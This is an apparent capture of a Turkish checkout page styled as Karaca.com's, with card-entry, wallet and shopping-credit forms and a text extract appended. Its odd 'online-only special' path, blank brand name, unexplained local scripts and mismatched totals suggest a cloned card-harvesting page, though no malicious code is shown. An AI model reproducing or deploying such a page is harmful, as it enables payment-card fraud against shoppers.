background-image: repeating-linear-gradient(45deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(135deg, rgba(255, 255, 255, 0.05) 1px, rgba(255, 255, 255, 0) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.03) 4px), repeating-linear-gradient(90deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(210deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 30% 30%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 70% 70%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 90% 20%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-radial-gradient(circle at 15% 80%, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), linear-gradient(-25deg, rgba(255, 255, 255, 0) 50%, rgba(255, 255, 255, 0.2) 70%, rgba(255, 255, 255, 0) 90%);
opacity: 1
}
.jp-card.jp-card-identified .jp-card-back .jp-card-logo,
.jp-card.jp-card-identified .jp-card-front .jp-card-logo {
box-shadow: 0 0 0 2px rgba(255, 255, 255, 0.3)
}
.jp-card.jp-card-identified.no-radial-gradient .jp-card-back:before,
.jp-card.jp-card-identified.no-radial-gradient .jp-card-front:before {
background-image: repeating-linear-gradient(45deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(135deg, rgba(255, 255, 255, 0.05) 1px, rgba(255, 255, 255, 0) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.03) 4px), repeating-linear-gradient(90deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(210deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), -webkit-linear-gradient(-245deg, rgba(255, 255, 255, 0) 50%, rgba(255, 255, 255, 0.2) 70%, rgba(255, 255, 255, 0) 90%);
background-image: repeating-linear-gradient(45deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(135deg, rgba(255, 255, 255, 0.05) 1px, rgba(255, 255, 255, 0) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.03) 4px), repeating-linear-gradient(90deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), repeating-linear-gradient(210deg, rgba(255, 255, 255, 0) 1px, rgba(255, 255, 255, 0.03) 2px, rgba(255, 255, 255, 0.04) 3px, rgba(255, 255, 255, 0.05) 4px), linear-gradient(-25deg, rgba(255, 255, 255, 0) 50%, rgba(255, 255, 255, 0.2) 70%, rgba(255, 255, 255, 0) 90%)
}
@media (max-width: 450px) {
.card-wrapper {
max-width: 80vw;
width: 100%;
margin: 20px auto;
overflow-x: hidden
}
.card-wrapper>.jp-card-container {
transform: scale(0.625);
transform-origin: left center
}
}
</style>
<div class="checkout">
<ul id="tabs" class="nav nav-tabs krc-tabs payment_method_tab" role="tablist">
<li class="nav-item krc-tab-btn active" data-label="Kredi Kartı" data-tab-code="craftgate"><a href="#paymentMethodcraftgate" class="nav-link active karttablar" data-toggle="tab" role="tab" aria-selected="true">Kredi Kartı</a><input
type="radio" name="payment_method" checked="" hidden="" value="craftgate"></li>
<li class="nav-item krc-tab-btn" data-label="Ödeme Yöntemleri" data-tab-code="cuzdan"><a href="#paymentMethodcuzdan" class="nav-link karttablar" data-toggle="tab" role="tab" aria-selected="false">Ödeme
Yöntemleri</a><input type="radio" name="payment_method" hidden="" value="cuzdan"></li>
<li class="nav-item krc-tab-btn" data-label="Alışveriş Kredisi" data-tab-code="credit"><a href="#paymentMethodcredit" class="nav-link karttablar" data-toggle="tab" role="tab" aria-selected="false">Alışveriş
Kredisi</a><input type="radio" name="payment_method" hidden="" value="credit"></li>
</ul>
<div class="tab-content" role="tablist">
<div id="paymentMethodcraftgate" class="tab-pane active" aria-labelledby="paymentMethodcraftgate">
<div class="masterpass-container container" hidden="">
<div class="pass-otp-required">
<div class="krc-alert row">
<div class="image col-sm-2 col-md-3 col-12 pl-0">
<img src="/sadece-online-ozel/catalog/view/asset/image/masterpass.svg" width="140px" height="50px">
</div>
<div class="text col-sm-2 col-md-6 col-12 pl-0">
<strong>Masterpass’e kayıtlı kartlarınız var.</strong>
<span>
<strong>0 </strong> nolu cep telefonu ile Masterpass'e kayıtlı kartlarınız var. Bu kartları 'da kullanmak istiyor musunuz? </span>
<div style="display:none">
<input type="radio" name="masterpassCardId" value="0" checked="">
</div>
</div>
<div class="button col-sm-2 col-md-2 col-12 pl-0 mt-1">
<div hidden="">
<input type="radio" name="masterpassCardId" value="0" checked="">
</div>
<button type="button" class="krc-btn krc-btn-full btn-checkout pull-right masterpass-otp-check w-100"> Evet </button>
</div>
</div>
</div>
</div>
<script>
var MasterPass = {
msisdn: "",
defaultToken: "",
defaultReferenceNo: "",
callbackUrl: "",
status: false
};
</script>
<div class="tabContent creditCardWrap show">
<div class="creditCardList credit-card-area" id="area-card-list">
<div class="creditCardHead">
<span>Masterpass Kayıtlı Kartlarım</span>
<a href="javascript:;" class="addNewCreditCard d-sm-none">
<span>
<u>Yeni Kart Ekle</u>
</span>
</a>
</div>
<div class="creditCardInfo hiddenable">
<div class="creditCardSelect">
<div class="d-sm-none row" id="card-list-selector"></div>
<div class="row cardSelectDesktop mt-2"></div>
<div class="selection-wrapper"></div>
</div>
</div>
</div>
<div class="creditCardNew show credit-card-area" id="area-card-new">
<input type="radio" name="masterpassCardId" value="0" checked="" hidden="">
<div class="creditCardInfo flex-column">
<div class="cc-info-wrapper hiddenable">
<div class="ccLeft">
<div class="form-row">
<div class="creditCardHead justify-content-end mb-0">
<a hidden="" class="paymentMyCard small" href="javascript:;">Kayıtlı Kart
ile Öde</a>
</div>
</div>
<div class="form-row">
<div class="form-group is-required col-md-12">
<label for="cc_name">Kart Sahibinin Adı Soyadı</label>
<input name="cc_name" type="text" class="form-control jp-card-invalid" id="cc_name" required="">
</div>
</div>
<div class="form-row">
<div class="form-group is-required col-md-12 with-cc-feedback">
<label for="cc_number">Kart Numarası</label>
<input name="cc_number" type="tel" class="form-control jp-card-invalid" id="cc_number" maxlength="19" placeholder="**** **** **** ****" required="">
<span id="cc_validation_callback" class="popover-cc-feedback"></span>
</div>
</div>
<div class="form-row">
<div class="form-group is-required col-md-4 col-4 select">
<label for="expirationMonth">Ay</label>
<select name="cc_expire_date_month" id="cc_expire_date_month" class="form-control krc-select custom-select" required="">
<option value="01" class="jp-card-invalid">01</option>
<option value="02" class="jp-card-invalid">02</option>
<option value="03" class="jp-card-invalid">03</option>
<option value="04" class="jp-card-invalid">04</option>
<option value="05" class="jp-card-invalid">05</option>
<option value="06" class="jp-card-invalid">06</option>
<option value="07" class="jp-card-invalid">07</option>
<option value="08" class="jp-card-invalid">08</option>
<option value="09" class="jp-card-invalid">09</option>
<option value="10" class="jp-card-invalid">10</option>
<option value="11" class="jp-card-invalid">11</option>
<option value="12" class="jp-card-invalid">12</option>
</select>
</div>
<div class="form-group is-required col-md-4 col-4 select">
<label for="expirationYear">Yıl</label>
<select name="cc_expire_date_year" id="cc_expire_date_year" class="form-control krc-select custom-select" required="">
<option value="2024" class="jp-card-invalid">2024</option>
<option value="2025" class="jp-card-invalid">2025</option>
<option value="2026" class="jp-card-invalid">2026</option>
<option value="2027" class="jp-card-invalid">2027</option>
<option value="2028" class="jp-card-invalid">2028</option>
<option value="2029" class="jp-card-invalid">2029</option>
<option value="2030" class="jp-card-invalid">2030</option>
<option value="2031" class="jp-card-invalid">2031</option>
<option value="2032" class="jp-card-invalid">2032</option>
<option value="2033" class="jp-card-invalid">2033</option>
<option value="2034" class="jp-card-invalid">2034</option>
<option value="2035" class="jp-card-invalid">2035</option>
<option value="2036" class="jp-card-invalid">2036</option>
<option value="2037" class="jp-card-invalid">2037</option>
<option value="2038" class="jp-card-invalid">2038</option>
<option value="2039" class="jp-card-invalid">2039</option>
<option value="2040" class="jp-card-invalid">2040</option>
<option value="2041" class="jp-card-invalid">2041</option>
<option value="2042" class="jp-card-invalid">2042</option>
<option value="2043" class="jp-card-invalid">2043</option>
<option value="2044" class="jp-card-invalid">2044</option>
</select>
</div>
<div class="form-group is-required col-md-4 col-4">
<label for="cc_cvv2" class="ccv">CVV <div class="formTooltip" data-toggle="tooltip" data-placement="top"
title="Kredi kartınızın arka yüzündeki son 3 haneyi girmelisiniz. American Express kartların ön yüzündeki 4 haneyi girmelisiniz">
<i class="krc-Information"></i>
</div>
</label>
<input name="cc_cvv2" type="tel" class="form-control jp-card-invalid" id="cc_cvv2" required="">
</div>
</div>
<div class="checkBoxWrap">
<div class="masterpass-alert">
<div class="heading">
<span>Kredi kartı bilgileriniz Karaca tarafından <em>saklanmamaktadır</em>, ödeme altyapısı MasterPass tarafından sağlanmaktadır. </span>
<img src="/sadece-online-ozel/catalog/view/asset/image/masterpass.svg" width="100px" height="50px">
</div>
<div class="body">
<div class="form-group">
<label for="credit_card_name">Kart Adı</label>
<input type="text" name="credit_card_name" placeholder="Kartınıza isim verin" id="credit_card_name">
</div>
</div>
</div>
<div class="checkBoxLine checkbox">
<input type="checkbox" id="3d_pay" name="3d_pay" value="1" class="checkbox">
<label for="3d_pay" class="checkboxLabel giftCheck">
<div>
<i class="krc-okay"></i>
</div> 3D Secure ile ödeme istiyorum
</label>
</div>
</div>
</div>
<div class="ccRight">
<div class="card-wrapper" data-jp-card-initialized="true">
<div class="jp-card-container" style="transform: scale(0.914286);">
<div class="jp-card">
<div class="jp-card-front">
<div class="jp-card-logo jp-card-elo">
<div class="e">e</div>
<div class="l">l</div>
<div class="o">o</div>
</div>
<div class="jp-card-logo jp-card-visa">Visa</div>
<div class="jp-card-logo jp-card-visaelectron">Visa <div class="elec">Electron</div>
</div>
<div class="jp-card-logo jp-card-mastercard">Mastercard</div>
<div class="jp-card-logo jp-card-maestro">Maestro</div>
<div class="jp-card-logo jp-card-amex"></div>
<div class="jp-card-logo jp-card-discover">discover</div>
<div class="jp-card-logo jp-card-unionpay">UnionPay</div>
<div class="jp-card-logo jp-card-dinersclub"></div>
<div class="jp-card-logo jp-card-hipercard">Hipercard</div>
<div class="jp-card-logo jp-card-troy">troy</div>
<div class="jp-card-logo jp-card-dankort">
<div class="dk">
<div class="d"></div>
<div class="k"></div>
</div>
</div>
<div class="jp-card-logo jp-card-jcb">
<div class="j">J</div>
<div class="c">C</div>
<div class="b">B</div>
</div>
<div class="jp-card-lower">
<div class="jp-card-shiny"></div>
<div class="jp-card-cvc jp-card-display jp-card-invalid">***</div>
<div class="jp-card-number jp-card-display jp-card-invalid" id="jp_card_number">*******************</div>
<div class="jp-card-name jp-card-display jp-card-invalid" id="jp_card_name"></div>
<div class="jp-card-expiry jp-card-display jp-card-invalid" data-before="Ay / Yıl" data-after="Son Kullanma Tarihi">01/2024</div>
</div>
</div>
<div class="jp-card-back">
<div class="jp-card-bar"></div>
<div class="jp-card-cvc jp-card-display jp-card-invalid">***</div>
<div class="jp-card-shiny"></div>
</div>
</div>
</div>
</div>
<div class="securePasswordImgs">
<img src="catalog/view/assets/images/guvenli_alisveris.svg" alt="Güvenli Alışveriş">
<img src="catalog/view/assets/images/secure_password.svg" alt="Güvenli Alışveriş">
</div>
</div>
</div>
</div>
</div>
<div class="container selection-wrapper">
<div class="d-flex flex-column mt-3 row payment-container ">
<div class="cart-wallet-area col-12">
<div id="cart-wallet-wrapper" class="w-100"></div>
</div>
<div class="col-12 cart-installment-wrapper ">
<div class="col-12 col-sm-8 cart-credit-area">
<div class="form-group col-md-12 select sanal_pos_installment p-0">
<div class="w-checkbox">
<label class="payment-method-control mb-2">
<input type="radio" name="payment-method-type" id="payment-method-type-card" checked="checked">
<div class="control-wallet_indicator"></div>
<div class="text font-weight-bold"> Kartla Öde</div>
</label>
</div>
<div class="installment-block">
<div class="creditCardPaymentOptions-label mb-2 ins-opts" for="creditCardPaymentOptions" style="display: none;">Taksit Seçenekleri </div>
<div class="creditCardPaymentOptions-label paymentOptionsInfoText payment-type-text mb-2"> Kartınla peşin veya taksitle öde </div>
<div class="installment-wrapper hiddenable"></div>
<div class="creditCardPaymentOptions-label paymentOptionsInfoText card-fill-text hiddenable"> Taksit seçenekleri kredi kartı bilgileri doldurulduktan sonra çıkacaktır. </div>
<div class="col-12 p-0 mt-3" id="cardRewardWrapper"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="paymentMethodcuzdan" class="tab-pane" aria-labelledby="paymentMethodcuzdan">
<div class="tabContent bankCardWrap digitalBankWallet show">
<div class="bankCardHead">Lütfen ödeme yapmak istediğiniz Dijital Cüzdan hesabınızı seçiniz.</div>
<div class="row bankCardList">
<div class="item col-lg-3 col-md-3 col-6">
<input type="radio" id="cuzdanId101" name="banka" value="101">
<label for="cuzdanId101" class="bankCard" data-payment-type="cuzdan" data-payment-id="101">
<img src="/sadece-online-ozel/catalog/view/theme/default/asset/svg/worldpay.svg" alt="WORLDPAY" class="img-fluid">
</label>
</div>
<div class="item col-lg-3 col-md-3 col-6">
<input type="radio" id="cuzdanId21" name="banka" value="21">
<label for="cuzdanId21" class="bankCard" data-payment-type="cuzdan" data-payment-id="21">
<img src="/sadece-online-ozel/catalog/view/assets/images/paycellogo.svg" alt="PAYCELL" class="img-fluid">
</label>
</div>
<div class="item col-lg-3 col-md-3 col-6">
<input type="radio" id="cuzdanId99" name="banka" value="99">
<label for="cuzdanId99" class="bankCard" data-payment-type="cuzdan" data-payment-id="99">
<img src="/sadece-online-ozel/catalog/view/theme/default/asset/svg/iyzico.svg" alt="IYZICOPAY" class="img-fluid">
</label>
</div>
<div class="item col-lg-3 col-md-3 col-6">
<input type="radio" id="cuzdanId98" name="banka" value="98">
<label for="cuzdanId98" class="bankCard" data-payment-type="cuzdan" data-payment-id="98">
<img src="/sadece-online-ozel/catalog/view/theme/default/asset/svg/garantipay.svg" alt="GARANTIPAY" class="img-fluid">
</label>
</div>
</div>
<div class="bankCardInfoText">Ödeme yapabilmek için yukarıdaki dijital cüzdan hizmetlerinden birini kullanıyor olmanız yeterlidir. Seçiminizi yaptıktan sonra cüzdan hesabınıza yönlendirilirsiniz. Açılan sayfada sizden istenen
bilgileri girerek ödemenizi kolayca gerçekleştirebilirsiniz.. </div>
</div>
</div>
<div id="paymentMethodcredit" class="tab-pane" aria-labelledby="paymentMethodcredit">
<div class="tabContent bankCardWrap credit show">
<p>Lütfen başvurmak istediğiniz alışveriş kredisi sağlayıcıyı seçiniz.</p>
<div class="row bankCardList">
<div class="item col-lg-3 col-md-3 col-6">
<input type="radio" id="creditByFibabanka" name="provider" value="QXBwXFNlcnZpY2VzXFBheW1lbnRcQ3JlZGl0XFByb3ZpZGVyc1xGaWJhYmFua2E=">
<label for="creditByFibabanka" class="bankCard" data-payment-type="credit" data-provider-id="QXBwXFNlcnZpY2VzXFBheW1lbnRcQ3JlZGl0XFByb3ZpZGVyc1xGaWJhYmFua2E=">
<img src="https://cdn.karaca.com/image/assets/logos/fibabanka.png" alt="Fibabanka" class="img-fluid">
</label>
</div>
<div class="item col-lg-3 col-md-3 col-6">
<input type="radio" id="creditByTurkiyeFinans" name="provider" value="QXBwXFNlcnZpY2VzXFBheW1lbnRcQ3JlZGl0XFByb3ZpZGVyc1xUdXJraXllRmluYW5z">
<label for="creditByTurkiyeFinans" class="bankCard" data-payment-type="credit" data-provider-id="QXBwXFNlcnZpY2VzXFBheW1lbnRcQ3JlZGl0XFByb3ZpZGVyc1xUdXJraXllRmluYW5z">
<img src="https://cdn.karaca.com/image/assets/logos/tfkb.png" alt="TurkiyeFinans" class="img-fluid">
</label>
</div>
</div>
<div id="creditProviderInformation" style="display:none"></div>
<div class="installament-boxes" id="removeAfterLoad">
<table class="installment-table"></table>
</div>
</div>
</div>
</div>
<script src="components/js/jquery3.6.3.min.js"></script>
<script src="assets/js/bundle.js"></script>
<script src="assets/js/product-view.js"></script>
</div>
</div>
</div>
<div class="col-sm-12 col-lg-4 d-none d-sm-block right">
<div class="orderSummary deliveryOrderSummery">
<div class="makemesticky">
<div class="head d-none d-sm-block"><span>Sipariş Özeti</span></div>
<div class="summaryInfo d-none d-sm-block">
<div class="line summary-detail__wrapper" id="sub_total" data-sub-total="499 TL">
<span class="summary-detail__label">Ara Toplam</span>
<span class="summary-detail__price">0 TL</span>
</div>
<div class="line summary-detail__wrapper success" id="shipping" data-shipping="0">
<span class="summary-detail__label">Ücretsiz Kargo</span>
<span class="summary-detail__price" style="color:#05b71d;"> 0.00 TL</span>
</div>
<div class="line summary-detail__wrapper" id="total" data-total="499 TL">
<span class="summary-detail__label">Toplam</span>
<span class="summary-detail__price">0 TL</span>
</div>
</div>
<div class="orderNextStep">
<input id="odemeyap" type="submit" class="btn-checkout-next krc-btn krc-btn-full" value="Devam Et" style="width:100%;">
</div>
</div>
</div>
</div>
</div>
</form>Text Content
Teslimat ADRES BİLGİSİ Adresiniz silinecek onaylıyor musunuz? Vazgeç Sil VARSAYILAN ADRES SEÇIMI Adresiniz varsayılan geçerli adres seçilecek onaylıyor musunuz? Vazgeç Onayla TESLIMAT ADRESI Yeni Adres Ekle Mağazadan Teslim Al Teslimatınızı bazı ürünler için aynı gün, diğer ürünler içinse ürün mağazaya ulaştırıldıktan sonra tarafınıza iletilecek bilgilendirme mesajıyla kolayca alın. 1 En yakın mağazayı seç sipariş ver 2 0-4 gün içerisinde siparişini mağazadan teslim al En Yakın Mağazaları Göster İlçe Aynı Gün Teslimat Geçerli Mağazalar Mağazadan Teslimat Hakkında Sepetinizde mağazadan teslimata uygun olmayan ürün(ler) bulunmaktadır. Dilerseniz tüm ürünlerinizi adrese teslim olarak aşağıdaki “Adrese Teslim Devam Et” butonu ile değiştirebilirsiniz. Mağazadan teslime devam etmek istediğiniz taktirde uygun olmayan ürünler sepetinizden silinecektir. Adrese Teslim İlerle Mağazadan Teslim İlerle * Kredi Kartı * Ödeme Yöntemleri * Alışveriş Kredisi Masterpass’e kayıtlı kartlarınız var. 0 nolu cep telefonu ile Masterpass'e kayıtlı kartlarınız var. Bu kartları 'da kullanmak istiyor musunuz? Evet Masterpass Kayıtlı Kartlarım Yeni Kart Ekle Kayıtlı Kart ile Öde Kart Sahibinin Adı Soyadı Kart Numarası Ay 01 02 03 04 05 06 07 08 09 10 11 12 Yıl 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 CVV Kredi kartı bilgileriniz Karaca tarafından saklanmamaktadır, ödeme altyapısı MasterPass tarafından sağlanmaktadır. Kart Adı 3D Secure ile ödeme istiyorum e l o Visa Visa Electron Mastercard Maestro discover UnionPay Hipercard troy J C B *** ******************* 01/2024 *** Kartla Öde Taksit Seçenekleri Kartınla peşin veya taksitle öde Taksit seçenekleri kredi kartı bilgileri doldurulduktan sonra çıkacaktır. Lütfen ödeme yapmak istediğiniz Dijital Cüzdan hesabınızı seçiniz. Ödeme yapabilmek için yukarıdaki dijital cüzdan hizmetlerinden birini kullanıyor olmanız yeterlidir. Seçiminizi yaptıktan sonra cüzdan hesabınıza yönlendirilirsiniz. Açılan sayfada sizden istenen bilgileri girerek ödemenizi kolayca gerçekleştirebilirsiniz.. Lütfen başvurmak istediğiniz alışveriş kredisi sağlayıcıyı seçiniz. Sipariş Özeti Ara Toplam 0 TL Ücretsiz Kargo 0.00 TL Toplam 0 TL Toplam 0 TL Karaca.com © 2024 - Karaca Züccaciye A.Ş. Tüm hakları saklıdır.